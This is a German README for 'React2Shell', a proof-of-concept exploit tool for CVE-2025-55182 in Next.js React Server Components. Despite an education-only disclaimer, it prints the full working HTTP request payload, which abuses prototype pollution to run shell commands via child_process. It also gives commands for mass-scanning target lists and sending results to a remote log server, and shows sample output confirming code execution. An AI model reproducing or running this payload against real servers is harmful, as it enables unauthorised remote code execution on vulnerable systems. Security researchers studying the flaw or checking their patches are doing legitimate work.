
React2Shell ist ein Proof-of-Concept-Exploit für CVE-2025-55182, der anfällige React Server Components (RSC)-Implementierungen in Next.js betrifft.
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Geschrieben von INDRA
Dieses Projekt dient ausschließlich zu Bildungszwecken, Sicherheitsforschung und autorisierten Penetrationstests.
Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Nutzen Sie diesen Exploit nur gegen Systeme, die Sie besitzen oder für die Sie ausdrückliche Testgenehmigung haben.
React2Shell ist ein Proof-of-Concept-Exploit für CVE-2025-55182, der angreifbare React Server Components (RSC)-Implementierungen in Next.js betrifft.
Der Exploit sendet eine manipulierte Multipart-Anfrage, die den verwundbaren Deserialisierungsablauf missbraucht und die Befehlsausgabe über die Redirect-Digest-Antwort der Anwendung extrahiert.
Bei Erfolg zeigt der Exploit die ausgeführte Befehlsausgabe direkt im Terminal an.
Python 3.8+
Abhängigkeiten installieren:
pip install requests urllib3
.
├── exploit.py
└── README.md
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
Ausführen
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
🚀 Loaded 42 targets (HTTP + HTTPS)
🔥 [VULNERABLE] https://target.com/
💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
Die unbefugte Nutzung dieser Software gegen Systeme ohne Erlaubnis kann gegen lokale, nationale oder internationale Gesetze verstoßen.
Der Autor ist nicht verantwortlich für Missbrauch.
Fröhliches Jagen 🕷️
| Version | Status |
|---|
| 19.0 | ⚠ Angreifbar |
| 19.1.0 | ⚠ Angreifbar |
| 19.1.1 | ⚠ Angreifbar |
| 19.2.0 | ⚠ Angreifbar |
| 19.0.1 | ✅ Gepatcht |
| 19.1.2 | ✅ Gepatcht |
| 19.2.1 | ✅ Gepatcht |
| Option | Beschreibung |
|---|
-u | Ziel-URL |
-f | Datei mit Ziel-Domains |
-o | Angreifbare Ziele lokal speichern |
-l | Ergebnisse an entfernten Log-Server senden |
-h | Hilfe anzeigen |